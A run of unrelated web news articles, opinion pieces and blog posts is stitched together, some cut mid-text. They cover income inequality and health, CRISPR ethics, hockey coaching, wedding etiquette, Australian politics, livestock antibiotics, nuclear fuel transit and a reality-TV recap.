For its part, London gave a commitment “not to create obstacles to but facilitate such further deepening” of the economic and monetary union.
That would appear to preclude any repeat of a 2011 incident when Cameron tried to veto a fiscal compact treaty designed to strengthen enforcement of EU budget rules in the euro area, only for other member states to adopt the measure as an inter-governmental treaty, bypassing Britain.UCLA Fielding School of Public Health Dr. Linda Rosenstock
“Income inequality” has already become a buzz phrase for the campaigns leading up to the 2016 elections. Likely candidates and pundits on both ends of the political spectrum have begun to talk about how fairness, social justice and — even after the implementation of the Affordable Care Act — the cost of health care insurance are contributing to the large and growing gap between the rich and poor.
But a commentary by researchers at the UCLA Fielding School of Public Health points out another disturbing impact of income inequality: its effect on people’s health. The article appears in the current online edition of the American Journal of Public Health.
It has long been recognized that, even beyond access to high quality health care, people’s income is a key factor in determining how healthy people are. But the commentary provides evidence that the degree of income inequality also can lead to a long list of health issues, including shortened life expectancy and poorer self-reported health status.
Dr. Linda Rosenstock, the report’s senior author, said lower- and sometimes middle-income wage workers often face additional workplace stresses that take a toll on their health — among them, lower pay, lack of paid sick leave, an inability to find full-time work, the need to work double shifts to make ends meet. Those challenges can lead to high levels of stress, exhaustion, cardiovascular disease, lower life expectancy and obesity, and the effects can easily trickle down to impact families and children.
“We interpret the evidence to find that income inequality is taking a toll on worker health,” said Rosenstock, a UCLA professor of health policy and management and the former dean of the Fielding School. “Low- and middle-income workers face stagnant wages and pressures from a changing work environment. These changes in the work environment changes — such as increasing job insecurity, work performed outside of a regular full-time contract, and having fewer workers to do the same amount of work — are taking their toll on a workforce.”
The gap between the rich and the poor has expanded significantly since 1980, when the top 5 percent of wage earners accounted for almost 17 percent of all incomes, according to U.S. Census Bureau data. In 2013, that segment of the population earned 22 percent of total income. The changes were even more dramatic for those at the highest end of the income ladder, the top 1 percent and even the top one-tenth of a percent.
Another measure that reflects the divide between the economic elite and all others is the gap in pay between production workers and the CEOs of the companies they work for. In 1970, CEOs’ cash compensation averaged $25 for every $1 earned by nonsupervisory workers. Yet a mere 30 years later the ratio was 90 to 1, and, if the expected value of stock options in CEOs’ compensation is included, the ratio reaches more than 500 to 1.
“Out-of-pocket expenses for health care such as premiums, deductibles and co-payments are an increasing portion of stagnant wages,” Rosenstock said. She noted that one organization estimated that such costs increased by 89 percent from 2003 to 2013. “In 2013, among firms with at least 35 percent of their workforce making $23,000 or less per year, 48 percent of workers for single coverage had a deductible of at least $1,000 — a significant portion of their income.”
The commentary points to the health care industry — where there is a large disparity between the salaries for the lowest earners, such as nurses aides, and the top earners, such as surgeons — as one microcosm of the problems caused by inequality and changes in work organization.
“As the costs of medical care have risen in the United States, pressure on the industry has increased to improve efficiency,” said Jessica Allia Williams, the report’s first author, a former UCLA doctoral student in health policy and management who is now a postdoctoral fellow at the Harvard School of Public Health.
As a result, she said, lower-paid workers face the perfect storm of income inequality — being asked to work more with less, while also paying more for insurance premiums and out-of pocket medical expenses.
“Also, across the spectrum, health care workers face relatively high rates of injury owing to physical hazards such as lifting patients or getting stuck by needles,” Williams said, adding that they also are likely to work nonstandard shifts and more overtime and to face hazards such as violence in the workplace that further contribute to poor health.
Rosenstock said the effects of the Affordable Care Act on these trends are still unclear, especially because of the delay in implementing the employer mandate for health insurance. But despite the benefit of having more of the population insured, early evidence suggests that the ACA is causing lower-income workers to have to pay more of the costs of care out of their cash compensation.
“It’s clear that income inequality and working conditions affect the health of the U.S. workforce,” she said. “Although political differences may divide the policy approaches our elected officials may take, addressing income inequality is likely to improve the overall social and health well-being of those currently left behind.”The Winnipeg Jets are pleased to announce the club has re-signed assistant coaches Charlie Huddy and Pascal Vincent along with goaltending coach Wade Flaherty to three year contracts.
The Jets have also announced that Rick St. Croix will be the organization’s new developmental goaltending coach, working with the team’s goaltending prospects.
Charlie Huddy rejoins the Winnipeg Jets for his fifth season as assistant coach with the club. Huddy has been an assistant coach in the NHL for the past 16 seasons with the New York Rangers, Edmonton Oilers, Dallas Stars and most currently, the Jets. After an 18-year NHL career as a defenseman, and a winner of five Stanley Cups, Huddy is using his depth of knowledge and experience to lead the Jets defence core.
Pascal Vincent enters his fifth season with the Winnipeg Jets in his role as assistant coach. Prior to his time with the Jets, Vincent was a head coach in the QMJHL for 12 seasons with the Montréal Juniors and Cape Breton Screaming Eagles. Vincent coached the Juniors to the second-best record in the QMJHL at 46-12-10 in 2010-11. Vincent has an all-time QMJHL head coaching record of 429-313-87 along with nine playoff series wins and was the recipient of the Ron Lapointe Trophy as the top coach in the QMJHL following the 2007-08 season.
Wade Flaherty will begin his fifth season with the Winnipeg Jets as the team’s goaltending coach. Flaherty came to Winnipeg following three seasons with the Chicago Blackhawks as developmental goaltending coach. The Terrace, BC native ended his playing career in 2008 after 19 seasons of professional hockey between the pipes. During his pro career, Flaherty played in the IHL, ECHL, AHL, and NHL, including 120 games between the San Jose Sharks, New York Islanders, Tampa Bay Lightning, Florida Panthers, and Nashville Predators. Flaherty spent three seasons as a goaltender with the Manitoba Moose from 2004-07.
Rick St. Croix bring 18 years of professional coaching experience to the Moose, a team in which he spent eight seasons as goaltending and assistant coach. After his playing career, St. Croix was an assistant coach with the Winnipeg Jets from 1987-89 before being named goaltending coach in Dallas from 1998-2003, winning the Stanley Cup in 1999. St. Croix then returned to Winnipeg to work with the Manitoba Moose from 2003-11 and spent the 2011-12 season with the St. John’s IceCaps after the return of the Jets to Winnipeg. St. Croix then was named goaltending coach for the Maple Leafs in 2012 and worked three seasons in Toronto.A group of 18 scientists and ethicists today warned that a revolutionary new tool to cut and splice DNA should be used cautiously when attempting to fix human genetic disease, and strongly discouraged any attempts at making changes to the human genome that could be passed on to offspring.
Among the authors of this warning is Jennifer Doudna, the co-inventor of the technology, called CRISPR-Cas9, which is driving a new interest in gene therapy, or “genome engineering.” She and colleagues co-authored a perspective piece that appears in the March 20 issue of Science, based on discussions at a meeting that took place in Napa on Jan. 24. The same issue of Science features a collection of recent research papers, commentary and news articles on CRISPR and its implications.
“Given the speed with which the genome engineering field is evolving, our group concluded that there is an urgent need for open discussion of the merits and risks of human genome modification by a broad cohort of scientists, clinicians, social scientists, the general public and relevant public entities and interest groups,” the authors wrote.
Doudna, director of UC Berkeley’s Innovative Genomics Initiative, was joined by five current and two former UC Berkeley scientists, plus David Baltimore, a Nobel laureate and president emeritus of the California Institute of Technology, Stanford Nobelist Paul Berg and eminent scientists from UC San Francisco, Stanford, Harvard and the universities of Wisconsin and Utah. Several of these scientists are currently involved in gene therapy to cure inherited diseases.
Such warnings have been issued numerous times since the dawn of genetic engineering in 1975, but until now the technology to actually fix genetic defects was hard to use.
“However, this limitation has been upended recently by the rapid development and widespread adoption of a simple, inexpensive and remarkably effective genome engineering method known as CRISPR-Cas9,” the scientists wrote. “The simplicity of the CRISPR-Cas9 system enables any researcher with knowledge of molecular biology to modify genomes, making feasible many experiments that were previously difficult or impossible to conduct.”
Correcting genetic defects
Scientists today are changing DNA sequences to correct genetic defects in animals as well as cultured tissues generated from stem cells, strategies that could eventually be used to treat human disease. The technology can also be used to engineer animals with genetic diseases mimicking human disease, which could lead to new insights into previously enigmatic disorders.
The CRISPR-Cas9 tool is still being refined to ensure that genetic changes are precisely targeted, Doudna said. Nevertheless, the authors met “… to initiate an informed discussion of the uses of genome engineering technology, and to identify proactively those areas where current action is essential to prepare for future developments. We recommend taking immediate steps toward ensuring that the application of genome engineering technology is performed safely and ethically.”
Of particular concern are changes to genes in “germline cells” – sperm and egg – that can be passed on to offspring. Even a germline modification that eliminated a genetic disease that has plagued a family for generations could have unintended consequences, given current limitations on our knowledge of human genetics.
“We believe that initiating these fascinating and challenging discussions now will optimize the decisions society will make at the advent of a new era in biology and genetics,” the authors concluded.
The UC Berkeley authors are Michael Botchan, a professor of molecular and cell biology and IGI co-director; G. Steven Martin, dean of biological sciences and a professor of molecular and cell biology; chemistry researcher Samuel Sternberg; IGI scientific director Jacob Corn; and IGI program director Marsha Fenner. Edward Penhoet, a former dean of the UC Berkeley School of Public Health, and Martin Jinek, a co-inventor of CRISPR now at the University of Zurich, also signed the commentary.
Doudna is also the Li Ka Shing Chancellor’s Chair in Biomedical and Health Sciences and a Howard Hughes Medical Institute investigator at UC Berkeley.
Introduction to Genome Editing Using CRISPR-Cas9
MORE INFORMATIONA new study of how female college students handle unwanted catcalls, demeaning stares, and sexual advances finds that some women may benefit from counseling to relieve internal distress and enhance coping skills.
Researchers discovered some young women simply have more resilience and better ability to shrug off sexually objectifying behavior. Women with low resilience struggle and could develop psychological problems when they internalize such behavior, because they think they are to blame, said psychologists Drs. Dawn Szymanski and Chandra Feltman of the University of Tennessee.
As discussed in the journal Sex Roles, feminist Objectification Theory suggests women of most cultures are seen as sexual objects that are there for the pleasure of men’s sexual desires.
Examples of such conduct include men’s visibly scrutinizing a woman’s figure or making comments about her body parts, giving whistles or catcalls, sexual harassment, unwanted sexual advances, or sexual assault. Media also play a role in these practices when they depict women as mere sexual objects.
These experiences contribute to some women’s developing mental health problems, such as eating disorders, depressive symptoms, and substance abuse problems.
To study how women cope with such sexually oppressive experiences, Szymanski and Feltman studied the responses to an online questionnaire of 270 young adult heterosexual undergraduate women from a university in the Southeast U.S.
Their findings show that young women experience increased psychological distress when they are being sexually objectified.
Women with low resilience are especially vulnerable, and tend to internalize such behavior. Some women feel confused and shameful, and reason that their own inferiority is the cause of such bad experiences.
They therefore blame themselves, rather than the perpetrators, and this causes psychological distress.
Szymanski and Feltman surmise that resilient women are more successful at managing adverse experiences because they are able to cope and adapt.
They can manage stress and rise above disadvantage. Resilience is both a style of personal functioning and a way in which people ably adapt to stressful situations.
“Resilient women may see gender-related oppressive experiences as challenges — rather than barriers — that can be overcome,” said Szymanski.
The researchers stress that clinicians should explore how their female clients experience and cope with sexually oppressive behavior.
Clients can be taught the value of supportive social networks, and how to assign meaning to adversity; as well as that being objectified is nothing personal, but rather a troubling cultural practice.
“Psychologists can help their female clients to identify and explore various ways by which they can better cope with sexually oppressive behavior. In addition, we need interventions aimed at decreasing individual and cultural practices of sexually objectifying women,” advises Feltman.
Source: Springer
Man whistling at woman photo by shutterstock.
Helping Women Cope with Sexual ObjectificationWhat if Fox took all of their DH, enduro and XC tech and put it on a light air shock body? You’d get this, the new 2018 Fox Float DPX2.
Starting with their EVOL air shock, which gives it a larger air volume for plush small bump performance, it then adds the external oil reservoir to add fluid volume for better cooling and big hit performance. Inside, it keeps their DPS valving to create the three distinct Open, Medium and Firm settings. Details, pricing and more below…
DPS works by having a separate circuit for the Closed setting to keep it extra firm, stopping just short of full lock out. Open and Medium share a circuit, using a shim plate to restrict low speed flow in the Medium setting. Same concept as before, but it’s executed differently here.
Inside the Base Valve are the Open and Closed main controls, with distinct ports for each. In open, oil flows through a needle-controlled valve.
In Firm, oil is shuttled past Reed Valves, which are like shims except they’re anchored at one end like a flap rather than a circular shim. They work similarly, using their inherent shape to keep a port closed until oil pressure is enough to push them open. The Refill Ports are used to divert excess oil flow during both compression and rebound into and out of the X2 reservoir, while the rest travels through the normal paths and circuits. Check this video to see more about how that recirculating system works (explained in the first 50 seconds).
On the Factory model, which will be your aftermarket option, it keeps the same 10-click Open mode micro adjustment as on the forks, but it’s a tooled adjustment accessed in the center of the blue knob.
Side mounted knobs for both compression and rebound look much easier to reach and use than under/over mounted versions that can be hard to see without flipping your bike over. Wishing these were on every shock.
The X2 reservoir is smaller and positioned better on this than the Float X, helping you fit larger water bottles inside your frame. It’ll be available in standard and metric sizing, with regular and trunnion mounts. Retail is $549 for the Factory model with Kashima coating, other versions will be found on OE.
RideFox.comMany Australians have met migrants working in occupations far below their skills level: the dentist working as a cleaner; the former university lecturer driving a taxi.
But the tide appears to be turning for at least some of Australia's skilled migrants, with new research showing that those arriving with tertiary qualifications in the past five years are twice as likely to work in their field as those who arrived more than 15 years ago.
Sisters Andrea (left) and Audrey Kraal found relevant work. Credit:James Alcock
Nearly 40 per cent of migrants who came after 2010 and already had tertiary qualifications are working in their field, compared with 20 per cent of those who arrived before 2001, according to the latest figures from the Australian Bureau of Statistics.
Policy changes focused on boosting the scale of skilled migration and enhancing English-language screening have greatly improved job outcomes for migrants, said Lesleyanne Hawthorne, an internationally-recognised migration expert from the University of Melbourne. Skilled migrants now make up more than two-thirds of migrants to Australia, up from less than half about 20 years ago.Oram: Budgeting for a black hole ROD ORAM
MAARTEN HOLL/Fairfax NZ CYNICAL: Rod Oram says Finance Minister Bill English has produced a deeply cynical Budget. Relevant offers
Building momentum is the title the Government has given its latest budget.
OPINION: There's only one problem: after 2015 there isn't any. Our economy will slow to a crawl even as our trading partners are accelerating.
But, of course, the Government is thinking only about next year, when it has to fight another election.
Thus, it's a pre-election budget - and a meagre one at that. The Government's continuing austerity is leavened by only a few crumbs of new spending; a cut in ACC levels which could come back to haunt business and |
“no kids rule?”- Megan
I love kids. LOVE them. But when it came time for us to decide between inviting all 7 of our nieces and nephews (all of which were under 8 at the time), we decided not to. Not because we don’t adore them…we do! But our guest list was limited, space was tight, it was an evening wedding and honestly? I wanted an adult party. I also wanted my brothers and sister to be able to enjoy themselves and selfishly spend all of their attention on us! Lol. But you know what? They were more than happy with it (or at least that’s the impression they gave me!). And I’m guessing so were the kids (how many times do you see kids have a meltdown halfway through the wedding because they’re exhausted and just don’t want to be there anymore). Not all of the time (but a majority of the time), your friends and relatives with kids invited to the wedding end up babysitting the entire evening, when they’d rather be dancing or drinking or having adult conversations (or ideally all three)!
The bottom line is, it’s YOUR wedding, and if you don’t want kids at your wedding, DON’T INVITE KIDS. If you’re having a destination wedding and not inviting kids this can get a little trickier as parents need to arrange for overnight care and/or don’t feel comfortable leaving their kids at home while they’re out of town, in which case they’ll have to decide if they are up for coming or not (and if they don’t, you should understand their decision). For a destination wedding without kids you can also offer to arrange for a babysitter at the hotel so parents can bring their children to the resort but not the wedding itself, or to the ceremony and not the reception. You can also offer to pay for close friends or relatives’ childcare for the evening even if you’re stay in town…they may or may not take you up on it, but at least you’re putting it out there.
You might get grief from your wedding guests for not being able to invite children, but 1) I think that reaction is totally inappropriate…if they don’t want to leave their children at home that’s completely understandable and they might have to miss your wedding,, but 2) whatever decisions you make at your wedding are just that…your decision! If you want to have an adult dinner party (which a wedding essentially is) then do it. You most likely wouldn’t invite children to a Saturday evening out, and in your mind this is no different…so don’t fret!
Now if you do want to, say, have your niece as your flower girl or nephew as your ring-bearer and that’s it, then by all means do that. While you do not technically have to indicate to your guests that those are the only children invited (you would just follow the “No Children” ideas, listed below), if you do speak to other parents on your guest list you can let them know you are limiting the number of children to the wedding party only or close family only. I don’t personally see why this would offend anybody…but again, if it does, that is completely their choice and you shouldn’t get mad if they are unable to attend (just like they shouldn’t get mad at your wedding day decisions).
In order to let guests know that your wedding is adults-only, there are a few ways you can do this. While some people print on their RSVP cards something like “Regrettably children are unable to attend,” I’m not a fan of that. If you want to put it on the RSVP card, I would instead use something like, “We have reserved ___seats in your honor”and fill in the blank. You can also opt to put this in a FAQ section of your website (IE: Are children invited? While we love your little ones, we are hoping to make this an adults-only day!”)
However, I find the easiest (and most etiquette-friendly way) to convey this is to address the envelope to the adults only (IE: Mr. and Mrs. Robert Smith vs. The Smith Family). I also think it’s nice to let parents know personally or through other family members via a phone call or e-mail with a message such as this:
Hi Marcia!
We just mailed out our Save the Dates (or wedding invitations) and are hoping that you and Mark are able to attend! I also wanted to personally touch base to let you know we are hoping to get all the parents to ourselves for a fun evening of dinner, dancing, and (hopefully) a lot of shenanigans! 🙂 I hope that this is OK and we can’t wait to see and celebrate with Troy and Anna SOON. Optional: We would also love to cover any babysitting costs you might incur for the evening and will be mailing out gift cards for the amount. Let us know any other ways we can help!
We are SO excited for the big day and (hope) to spend the wedding with you both!
Hopefully these suggestions for having an adults only wedding will help you cushion the potential blow to any family and friends who might be upset. And trust me…if they are, this too shall pass. Just concentrate on that fun dinner party you’re planning. 🙂
Listen to The Woman Getting Married Podcast!TONY Abbott has established a covert political hit squad which is funded by taxpayers, operates outside parliamentary scrutiny and has a controversial leader.
The under-the-radar Coalition Advisory Service supplies Government backbenchers with media information and ammunition to aim at the Labor Opposition. It has offices in Parliament House.
The Government says it is there to “provide training support to Government members and senators and their staff to assist them in servicing their constituents and ensuring the efficient and effective operation of electorate officers”.
But its detailed activities have been kept confidential — although it is known as CAS and has a sharply political role serving the Government.
It’s head is Simon Berger, the former Woolworths executive who left the company after organising the auction of a “chaff-bag jacket” at a September 2012 Young Liberal fundraising dinner addressed by Sydney broadcaster Alan Jones.
The chaff-bag referred to on-air comments by Mr Jones that then Prime Minister Julia Gillard should be put in one and dumped at sea.
Under CAS, Mr Berger has a staff of at least six but a potential allocation of 10.
They are paid from $75,000 to $175,000 a year, news.com.au has been told, and so far have been issued laptops and mobile telephones worth a total of close to $22,000.
The Labor Opposition has been trying to get more details about CAS operations at Estimates hearings where ministers and their department heads are questioned about spending.
However, CAS is not the responsibility of a minister.
It operates under Government Whip Philip Ruddock who, as he’s not a minister, does not have his spending examined at Estimates grillings.
Both Labor and the Coalition have set up offices similar to CAS when in government. That’s one reason why the Opposition knows it has a largely political role.
One of the most controversial was Labor’s National Media Liaison Service (known as aNiMaLS) in the 1990s.
Its Labor successors include the Caucus Communications Team (CCT) and under the Coalition, the Government Members’ Secretariat.
Senior Labor senator John Faulkner wants these bodies to be subjected to scrutiny by being made the responsibility of the Special Minister of State, a job he once held.
However, the Coalition wants to keep it with the Chief Whip, the current Special Minister of State Michael Ronaldson said.
“I just want to be assured by you that there is no attempt to avoid transparency and accountability by having the employing parliamentarian be the Chief Whip in the House of Representatives, hence questions at Senate estimates committees become more difficult and more obtuse,” Senator Faulkner said to Senator Ronaldson at an Estimates hearing in November last year.
Senator Ronaldson replied there were “two schools of thoughts” about the issue.
“There is a view in some quarters that the Whip is the appropriate employer in that situation and that you should keep it out of a minister’s office because there may well be risks associated,” he said.
“It will seem to be a political office. But I am not hung up on whether it is the Special Minister of State or the Chief Whip. I am sure that, if you ask questions about it, they will be answered.”
Labor has had six questions about CAS listed for the past month without answers.
However, it is known that CAS has a staffing allocation of 10 with one chief of staff at level 2, one senior adviser at band 1, five advisers, two assistant advisers and one executive assistant/office manager.Story highlights Molly Schuyler scarfed down three 72-ounce steaks Sunday in Amarillo, Texas
The Sacramento woman, 35, is a professional on the competitive-eating circuit
(CNN) It didn't seem like a fair fight.
On one side were hulking football players and pro wrestlers, competing as teams of two to eat as many pounds of steak as they could, combined, in one hour.
On another was a lone 124-pound mother of four.
And sure enough, in the end, Sunday's contest at Big Texan Steak Ranch in Amarillo, Texas, wasn't even close. Molly Schuyler scarfed down three 72-ounce steaks, three baked potatoes, three side salads, three rolls and three shrimp cocktails -- far outpacing her heftier rivals.
That's more than 13 pounds of steak, not counting the sides. And she did it all in 20 minutes, setting a record in the process.
Read More"Up Close and Cattle" Image credit:Flickr, Alex E. Proimos
I always thought the 'it makes them grow faster' reasoning for why they put antibiotics in animal feed was a myth and that the truth was more complex. Farmers found they could crowd animals while keeping disease levels down - giving consistently higher meat and dairy production - if they constantly laced the feed with a witches brew of antibiotics. Yes, if farm animals have to fight off frequent infections they are going to put more energy into getting better and less into growth or lactation; but there is another way to view this trade-off.Animals with enough space to step away from where they just pooped and not having to share the air with 2,000 more just like them might not get sick as often.
Either way, I can see where the antibiotics-in-feed controversy is headed. If antibiotic feeding is phased out entirely or even restricted significantly, feedlot, dairy barn, swine house, and chicken house owners will all have to spend more on barn space, labor, machines and land. They will move toward something akin to 'Organic-lite' slash 'Free Range-lite.' Who can guess what dumb name they will come up with for it?
At any rate, The Washington Post reports today that a lawsuit is being filed to force a regulatory decision one way or the other.
"Several environmental and public health groups filed suit against the Food and Drug Administration on Wednesday to try to force the government to stop farmers from routinely adding antibiotics to livestock feed to help animals grow faster. The groups say widespread agricultural antibiotic use and the FDA's allowance of the practice are compounding a public health crisis: the increasing prevalence of "superbugs" that infect people and do not respond to antibiotics."
Companies that make and distribute the antibiotics are going to pull out the heavy guns to lobby against this - seeking a Congressional over-ride of an 'anti-antibiotic' judicial outcome.
The opposition strategy is obvious, going into the Iowa primaries. 'Dirty stinking liberals are trying to ruin the good hard working farmers who put the meat on our tables.' WaPo quotes one lobbyist as already labeling those opposed to antibiotic feed additives as "Anti-modern livestock-production groups." (I get the idea; but it makes for a poor political talking point.)
Related.
I wonder if the runoff from feedlots and so on - especially with all the rainstorms and flooding in the heartland - spreads superbugs directly or even indirectly to drinking water supplies?
Do they give daily antibiotic supplements to short kids so they will become basketball stars by Middle School? No, they do not. Why do people think feeding antibiotics to cows and pigs and chickens makes them grow faster? Jeez.The regulator has lifted the ban on the transportation of nuclear and
other radioactive materials through Ukraine, according to the document
signed on March 6 by First Deputy Head of the State Inspectorate for
Nuclear Regulation of Ukraine Mykhailo Hashev.
The ban was introduced in late January. Russian Deputy Prime Minister
Dmitry Rogozin said a day earlier that Ukraine has enough fuel for
March-April. “Ukrainian NPPs (nuclear power plans) are stocked up with
fuel for March and April. So far there is a ban on this sort of fuel
movement because of the unstable situation in the country,” he said. “We
have problems sending nuclear fuel via Ukraine to our partners in east
Europe, and there are issues associated with fuel supplies to Ukraine’s
nuclear power plants,” Rogozin said.
Our TVEL company can solve the problem of rail transit through
Ukraine by transporting the fuel by air, Russian state nuclear
corporation Rosatom said.
“Rosatom’s fuel company TVEL will honor all its obligations to supply
nuclear fuel to the foreign NPPs. To this end we can use an alternative
licensed delivery method: by air transport. In particular, for an NPP
in Slovakia we are planning to deliver nuclear fuel by air as early as
next week,” the state corporation said.
“We continue working as usual with all our foreign partners, they understand the change of the itinerary,” Rosatom said.
The state corporation does not envisage any restrictions in unloading
nuclear fuel to Ukraine because it has received the down payment, a
Rosatom source told Interfax. “We do not see any obstacles in supplying
nuclear fuel to Ukraine because TVEL has already received pre-payments
for the next four shipments. If the Ukrainian watchdog lifts
restrictions on the rail transportation in time for the next delivery
(late March – early April), it will proceed as usual; if the
restrictions remain in place, then an alternative scheme will be used,”
the source said.Outside Westminster, the reaction to the news of RAF strikes on British ISIS fighters is overwhelmingly supportive
It is often said that, when he stands up to speak in the Commons, the prime minister needs to be conscious of two different audiences: the MPs in the chamber and the people watching the news clips at home. The distance between these two audiences is rarely as evident as in the response to yesterday’s statement, in which David Cameron announced two important things.
The first was that last month, the RAF conducted a drone strike within Syria targeting a British citizen who was fighting for ISIS and apparently plotting terrorist attacks on British soil. Immediately the focus of the MPs in the chamber and in the political media was on the legal basis for the attack, and whether it technically defied the Commons vote against taking part in military action in Syria.
However, YouGov live polling conducted overnight and throughout this morning reveals that the public take a much clearer view. 66% of the public support the decision, compared to only 11% who oppose it (the rest have no opinion or are not sure).
This clear majority is found across political groupings – including among Labour, Lib Dem, UKIP and Conservative voters.
The second announcement contained in the prime minister’s statement was a pledge to accept 20,000 Syrian refugees over the lifetime of this parliament. Here, he once again faces criticism from all sides, from a number of different audiences. The number had to be big enough to show some good will to his counterparts in France and Germany, during a time when he needs to maintain good relations, but not so big as to overly provoke voters at home (who as our research showed over the weekend remain predominantly against accepting any large number).
Being criticised on both sides is actually a comfortable position for a political leader to be in, as it suggests moderation, and the results of our overnight live polling the reaction to this second announcement put him about where he would want to be.
On both of these issues, the prime minister has the comfort of knowing that despite the emphasis of his opposition in Westminster, most voters are more 'conservative' even than him.
9696 UK adults were questioned 7th-8th September 2015
Image from PA34 SHARES Facebook Twitter
It can be hard to say good-bye, and sadly, the time has come for America’s Next Top Model, cycle 22 and the series as a whole, to be put to bed and crown its final ever Top Model winner. Wipe your eyes, we’ve got all your feels covered.
Samir: These pensive shots of Lacey walking through a grassy field or whatever are ridiculous. And I don’t even believe her when she says “I want this so bad, it’s crazy!”. These intros where each model offers their case as if they’re ANTM court opening statements have me laughing on the inside.
Margaux: The remaining modeltestants sulking around the more scenic areas of their soon to be former home/prison are hilarious, it’s like stock footage photos in moving images.
Once we get out of these forced sad intros, and away from their “I just want this so bad” platitudes, we get to see Zappo couture photos from the shoot last week. Again with this faux, she’s doing bad, wait! She’s totally killing it! This back and forth is tedious, let’s just get to elimination and into the final runway already.
Samir: These business/game plans are equally hilarious. Do any of these people have any clue how to start a dance studio, or a research model humanitarian something or other?
Margaux: At least we’ve moved on past the poster boards and onto power point presentations. Mamé’s speech made about as much sense as her first pass when she pitched Tyra’s Shark tank something to the effect of a jewelry line? Mamé’s nerves seem to take over (again) and she basically rambled alongside her pageant presentation, the only thing I took away was that she still wants to be a model/humanitarian. Her post ANTM plan seem to be, “world peace”?
Samir:Yeah they’ve moved on from poster boards and glitter glue to the weird high flash selfies in front of creepy non-descript blank wall backgrounds, holding papers with their statements written in black marker-like kidnap victims holding up today’s paper and the ransom demands before they’re killed (that was Lacey’s).
These pony man-tails the guys are wearing for the runway make me wretch. AND, what do the judges really mean when they say Mamé and Mikey look “expensive?” So they looked cheap before is what you’re saying, or the clothes on Zappo’s couture look cheap and need the help of models to look luxurious?
Margaux: Well, the clothes are cheap, so you’re not totally off on that point. I think the judges must be surprised that the Zappos clothes survived the photo shoot by the way they’re excitedly telling them they look so good and expensive. But between Nyle and Mikey’s Zappos couture shoot, obviously Nyle makes the clothes look best, he pulls off every single look, there’s movement and a distinct vibe in Nyle’s photos. It’s not like Mikey’s are altogether terrible, but he looks very stiff. Tsk, tsk, don’t you remember your TyTy tip, Mikey?
Samir: You actually get the illusion that the clothes can make you look good when Nyle wears them. When Mikey models the Zappo’s couture, you feel like an arrest for sexual harassment lies shortly ahead on your twisted path. And when it came down to their presentations, Nyle had a smart and realistic game plan for his app and career. Mikey’s was a nonsensical mish-mash of meaningless platitudes, again I believe force-fed to him by production-through the brainwashing of ANTM living.
Margaux: Drinking the Kool Aid did Mikey no favors, there was just no denying Nyle’s…Nyle-ness, and Mikey doesn’t end up walking the final runway as finalist, and his poor Mother blames herself when he walks back out after his elimination. Nonetheless, it is kind of nice, albeit most likely unintentional, that ANTM had the final fours Mom’s there.
Samir: Yeah, I did feel sad a little bit when he and his mother cried together, like this really was a golden ticket for him. Well, better cry now than later I suppose when you realize it isn’t. Not winning generally does more for one’s modeling career than winning ANTM. Who knows if this last cycle will break the uhh…cycle. Oh wait, it already did But we called it on the podcast-we knew if Nyle made it through, the couples the story editors placed these semi-finalists into was bound to be broken up.
Margaux: Mamé making it to the final two over Lacey, especially after Mamé’s confusing at best business plan presentation, only confirmed our predictions that Nyle is (and does) end up winning the whole dang thing. Enough of the tears, we’ve got a final runway showdown between Mamé and Nyle, but I might cry because it’s the final-final Top Model runway show, ever.
Samir: OMG Tyra DAD sighting! I don’t think we’ve seen this in the entire series.
Re: Mame vs Nyle, we all know how this is going to end. And I can’t believe this is the last final ANTM runway!! :*( Not as intense as finishing the last Harry Potter book. Tyra’s talking about having live music like it’s a new thing on the runway. And look! They’re trying to stab Hadassah in the face with her outfit. I guess no one really liked her all along. I’ll miss this.
Margaux: OMG! A Bello sighting! I wonder if he’s put any curses on anyone recently.
I will miss this too, honestly it’s a such a missed opportunity not having an After The Runway post wrap up episode. There really is nothing better than watching the modeltestants from the past cycle walk this runway like they’re trying to show an ex what they’re missing out on. Courtney wobbled quite a bit on her pass, but to be far, these Rocky Gathercole “wearable art pieces” look as uncomfortable as they probably are heavy. Mamé’s final walk jumpsuit is fierce though, not gonna lie.
Samir: She looks great in that for sure. But don’t the judges usually knock the modeltestants for doing things like pivot-turns on the runway? They used to read them to filth over moves like that, as early as Cycle 2 even criticizing one model’s tilt of her head at the end of the runway as too contrived. Now they’re cheering and gasping in awe? Everyone stop trying to act!
Margaux: How about those fireworks downtown that they just happened upon because you know ANTM didn’t spring for fireworks, and just hoped the Dodgers had a game that night or something.
Samir: Or they’re close enough to Disneyland to catch some of their magic. Maybe they planned it ahead of time for the night Disney was doing something on their own to save money. Saving up the BankSigns is what this cycle is all about Margaux.
Margaux: Ring, ring! Oppo still has on-air ad placement to be fulfilled, at least Nyle and Mamé get a trip to Southeast Asia to be “brand ambassadors” for Oppo out of this. Wow, now that actually sounds like a “business networking opportunity”, and will help ease the memory of their non-trip to Vegas.
Samir: Sellin Poop the world-ver. On the plus side, I finally heard from someone outside of ANTM who uses the Line App, so we know it exists outside of Tyra’s desperate search for advertising dollars. I have yet to see a single Oppo phone on the market anywhere though.
Margaux: I think Oppo phones can only be found aboard, probably in Asia, hence Nyle and Mamé’s brand ambassador opportunity in the Southeast region.
Samir: How degrading for the models to wear some of the less appealing designs during their judging, with sea urchin needles all directed at Nyle’s face and Mamé in some idiotic red ruffle monstrosity with a giant red “22” pinned on the breast.
Margaux: While evaluating Mamé’s walk, Yu Tsai shockingly praises her pivot turn, and upon second viewing, I think her last walk in the jumpsuit wasn’t as strong as her first outing in the feather corset. You can see when Mamé turns to walk back on her final pass that she stumbles a little, but none of the judges call her out for it.
Samir: It’s all to confuse us, because they leave in lots of negative comments on Nyle’s runway before they get to the photos. They talk about Nyle’s improvement, but I think the change in lighting and photographers maybe also brought out his features better in later shoots. Yu Tsai, stop trying to convince us that not having an interpreter on a set is a good idea. It’s not. Because his best photos are more often the ones where he has an interpreter. Plus, communicating is a generally good idea, and a good skill to have (something Yu Tsai lacks).
Margaux: Of course when they critique Nyle’s walk, most of the naysayer comments come from Kelly because it’s the only way they’ll edit her into an episode, if she’s in dumb bitch overdrive. Don’t know why, but it’s always so satisfying when the judges review the remaining models body of work, getting their Mom’s reactions backstage only sweetens the deal. Mamé’s Mom visibly makes a disgusted face when she sees Mamé’s first photo in a bikini. Diplomat’s daughter gone wild!
